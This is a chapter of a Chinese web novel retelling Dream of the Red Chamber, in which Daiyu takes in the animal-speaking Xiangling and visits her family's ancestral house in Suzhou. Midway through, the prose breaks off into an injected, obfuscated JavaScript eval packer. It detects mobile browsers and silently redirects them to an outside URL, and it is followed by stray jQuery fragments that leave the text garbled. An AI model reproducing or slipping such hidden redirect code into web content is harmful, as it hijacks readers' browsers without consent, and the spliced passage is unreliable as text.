香菱像是下定了决心，几步走到黛玉面前，“扑通”一声跪了下来。


    “求、求小姐收留！我、我叫蓉姐儿，我能帮您！我能听懂动物说话，我能帮您找东西、辨毒物、探消息……我吃得很少，什么活都能干！求您带我走！”


    这突如其来的举动让黛玉和阿真都是一怔。


    阿真忙上前几步，手按在了剑柄上，打量着香菱和她怀里的狗。


    黛玉抬手止住阿真，垂眸看着跪在地上的女孩。


    香菱露出的手腕和小臂上，有几道新旧交错的浅淡瘀痕，不像是今日争斗所致。


    她的指甲缝里，还残留着些许新鲜的不同颜色的草药碎屑和……动物皮毛的气味。


    这姑娘的模样像是相熟之人，却怎么也记不起来在哪儿见过如此惨淡的一个小丫头。


    黛玉道：“你先起来说话。你家中父母呢？为何要随我们这两个陌生人走？”


    香菱咬着嘴唇，摇了摇头，不肯起身：“我没有爹娘，是养父养母，他们只拿我当挣钱的工具。我能给动物看病，养父就在瓦子巷弄了个黑诊，逼我接各种活儿，挣的钱全被他拿去了，还打我，不让我出门……我是今天早上，趁他醉倒，从后窗逃出来的。”


    她眼中闪过泪光，但倔强地没让它掉下来：“狗大的朋友们最近有好几个不见了，它求我帮忙找，我们一路闻着气味找，才找到了这里，没想到……”


    没想到撞见了黛玉当众揭穿黑心肉铺。


    香菱虽在人群中，却将一切都看得清清楚楚——


    这位小姐不仅一眼识破肉有问题，还敢当众对峙，身边那个侠士武功高强。


    小姐与侠士，跟着他们，不仅能过得好一些，而且还不怕被人欺负。


    她想着这可能是她唯一的机会。一个能让她逃离薛大掌控，甚至可能不再被当作挣钱的工具的机会。


    香菱继续道：“我知道这很冒昧，但我真的有用。比如小姐刚才辨肉，靠的是嗅觉和经验。但我能听懂动物们的心声，很多隐藏的东西会更容易发现。再比如，一些深宅大院里的隐秘，人未必知道，但廊下的猫、檐上的鸟、甚至池塘里的鱼，可能都看见过、听见过。”


    黛玉静静地听着，阿真凑近黛玉耳边，低声道，“林姑娘，此人来历不明，且这能通兽语之事……过于玄奇，恐招惹麻烦。”


    黛玉摇了摇头。她自己重生归来不就是最大的奇幻吗，又岂会怕再添一点奇事？


    何况，这女孩的眼神，让她想起一些久远的记忆。


    黛玉沉吟片刻，开口道：“姑苏是我旧籍，我此番欲往祖宅旧址看看。你可熟悉城内路径，尤其是一些……旧日园林巷陌？”


    香菱连忙点头：“熟悉的！偷跑出来时也记路，城里很多角落都去过！”


    瓦子巷本就鱼龙混杂，消息灵通，她确实知道不少地方。


    黛玉微微颔首：“既如此，你便暂随我们同行，权作向导。待我见过故宅，再论其他。”


    香菱猛地磕了个头，又意识到什么，赶紧爬起来，胡乱抹了把脸，破涕为笑：“谢谢小姐！谢谢小姐！我一定好好带路，好好做事！”


    黛玉看着有些摇摇晃晃的香菱，还有那条狗，从包袱中拿出自己平日里当零嘴的枣泥酥递给香菱：“吃点好的，别饿得晕过去。还有你的狗也是。”


    阿真在一旁抿嘴一笑，他越来越发现林姑娘有些时候还蛮可爱的。


    *


    在香菱的指引下，她们寻了一处离城东稍远、看起来干净清静的中等客栈“悦来居”住下。


    黛玉一番折腾已显疲态，需得休整。


    次日清晨，早上就去附近的馆里吃了些翡翠烧麦、烫干丝、蟹黄汤包，黛玉精神稍复，便决定前往祖宅旧址。


    越往那个方向走，街道渐宽，房屋制式越发规整气派，白墙黛瓦，高墙深院。


    在前往幽兰巷的路上，带路是狗大。


    自从黛玉同意收留后，狗大似乎也明白这二人是自己人，变得格外活跃。


    当黛玉说出“幽兰巷”三个字时，香菱向狗大重复了一遍之后，狗大的耳朵便竖起来，小鼻子在空中使劲嗅了嗅。


    只见狗大落地后，抬头看了看太阳的方向，又原地转了两圈，似乎在定位。


    它走到一个岔路口，毫不犹豫地选择了左边那条稍窄、看起来更清净的巷道，还回头冲着香菱“汪”地叫了一声，尾巴摇了摇。


    香菱连忙跟上，边走边对黛玉和阿真解释：“它说走这边，近，味道也对。”


    黛玉与阿真交换了一个眼神。她们安静地跟在后面，观察着这一人一狗的奇特配合。


    狗大带路的方式很特别。它走走停停。有时会在某个墙角或树下驻足片刻，小鼻子翕动，读取空气中残留的信息。


    偶尔，它会回头看看香菱，发出咕噜声。


    香菱停下，对黛玉说：“这里……以前好像有只很老的猫常住，狗大闻到了它标记地盘的味道，说那猫知道很多巷子里的老路。右边那条巷子有刚洒过的劣质酒味，狗大不喜欢，说走这边干净。”


    黛玉与阿真也起了好奇心，紧跟着一人一狗的脚步。


    她们沿着狗大选择的路线走，七拐八绕，避开了几处死角，也绕过了几个正有泼皮混混聚集的巷口，一路行来竟颇为顺畅。


    阿真忍不住低声对黛玉道：“林姑娘，这若非亲眼所见，实在难以置信。”


    他行走江湖，见过驯鹰、驭犬的奇人，但如此精沟通，实属罕见。


    黛玉道：“天地造化，无奇不有。人能通文墨，晓礼仪，禽兽亦自有其灵性传承。她能得此造化，是她的缘法，亦是她的负累。”


    有些时候天赋未必就是一件好事，万事万物都有它平衡的点。


    “前面就是幽兰巷了，”香菱指着牌坊，“狗大带的路没错。”


    走入巷中，青石板路干干净净，两侧院墙高大，门户紧闭，偶有枝叶繁茂的古树从墙内探出，洒下满地荫凉。


    狗大尾巴悠闲地晃着，走在香菱脚边。


    按照父亲书信中的描述和旧仆提及的方位，黛玉在一处宅院前停下脚步。


    眼前的宅门颇为气派，黑漆大门虽不崭新，却油亮干净，未见锈蚀。


    门楣上“林府”二字匾额高悬，漆色庄重。门前一对石狮威风凛然，底座青苔也被打理得干干净净


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937280|192896||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。围墙绵延，墙头瓦当整齐，并无杂草。


    香菱上前叩动门环。不多时，侧边一扇小门“吱呀”一声开了，探出一个老人的脸，约莫六十岁上下，面容清癯。


    他打量着门外三人一狗，在看到黛玉时，神色微凝。


    “几位是……”老人开口。


    黛玉拜见：“老人家，我姓林，从扬州来。家父林如海，嘱我行至姑苏时，来祖宅看看。”


    老人闻言，猛地拉开小门，颤巍巍地就要下拜：“真是、真是大小姐？老奴林安，是老爷当年留下看宅子的！老爷前些日子来信说小姐可能会来，老奴日盼夜盼，总算把您盼来了！”


    黛玉虚扶一下：“林伯请起，不必多礼。我们途径此地，顺道来看看。”


    林安激动不已，连忙将三人让进宅内，一边引路一边絮叨：“宅子一直按老爷吩咐小心看着，定期修缮，花草树木也勤加打理……只是老爷和小姐多年未归，这宅子空荡荡的，没什么人气。”


    宅内如外间所见，整洁有序，庭院宽敞，花木扶疏，回廊曲折，虽无主人居住的鲜活气息，却也没有荒废之感。


    黛玉略略看了几处，心中感慨，对林安的尽心颇为满意。


    香菱跟在她身后，好奇拘谨地打量着这深宅大院，狗大乖乖地跟在香菱脚边，不再躁动。


    略作休息，用了林安奉上的清茶点心，黛玉问起：“林伯，这幽兰巷如今可还清净？我方才过来，似乎听到西北方向有些嘈杂之声。”


    林安闻言，勉强笑了：“回大小姐，幽兰巷自是清净的。只是……只是隔了两条街，过了两座石桥，那边……唉，是瓦子巷的地界。这些年越发不像话了，龙蛇混杂，什么乌糟事都有。”


    “瓦子巷？”黛玉疑惑。


    林安立在一旁，回道：“可不是。原本也就是些小摊小贩，三教九流汇聚之所。近些年，不知怎么兴起了斗狗斗鸡的赌局，后来……后来更是变本加厉，听说连豹子、猞猁这些猛兽都有人弄来斗，引得不少富家子弟、江湖人去赌，闹得很不像话。老奴平日都叮嘱底下人，少往那边去，不干净。”


    说完瓦子巷的腌臜事，林安看着眼前久违的小主人。


    这偌大的宅子空守了这么多年，虽有老爷时不时的书信和银钱接济，但终究是冷清寂寥。


    如今大小姐竟真的来了，虽只是途经，起码有些鲜活气息。


    他躬身道：“大小姐一路舟车劳顿，想必辛苦了。若是……若大小姐不嫌弃，不如就在此住下？也让老奴等尽尽心，好好伺候您几日，也算是……全了老奴等人这些年守宅的一点念想。”


    黛玉沉吟片刻，想到连日奔波，自己确实需要一处安静稳妥的地方休养，不忍拂了这些老一辈人的孝心，微微颔首：“林伯有心了。也罢，既回了故里，在祖宅住几日也是应当。只是我们来得突然，要多劳劳林伯安排了。”


    林安喜出望外，连声道：“不劳烦！不劳烦！大小姐肯住下，是老奴的福分，这宅子也总算能有点人气了！房间日日都打扫着，被褥都是现成干净的，老奴这就去安排！”


    当晚，黛玉三人便在林府西侧一处名为听雪轩的独立小院安顿下来。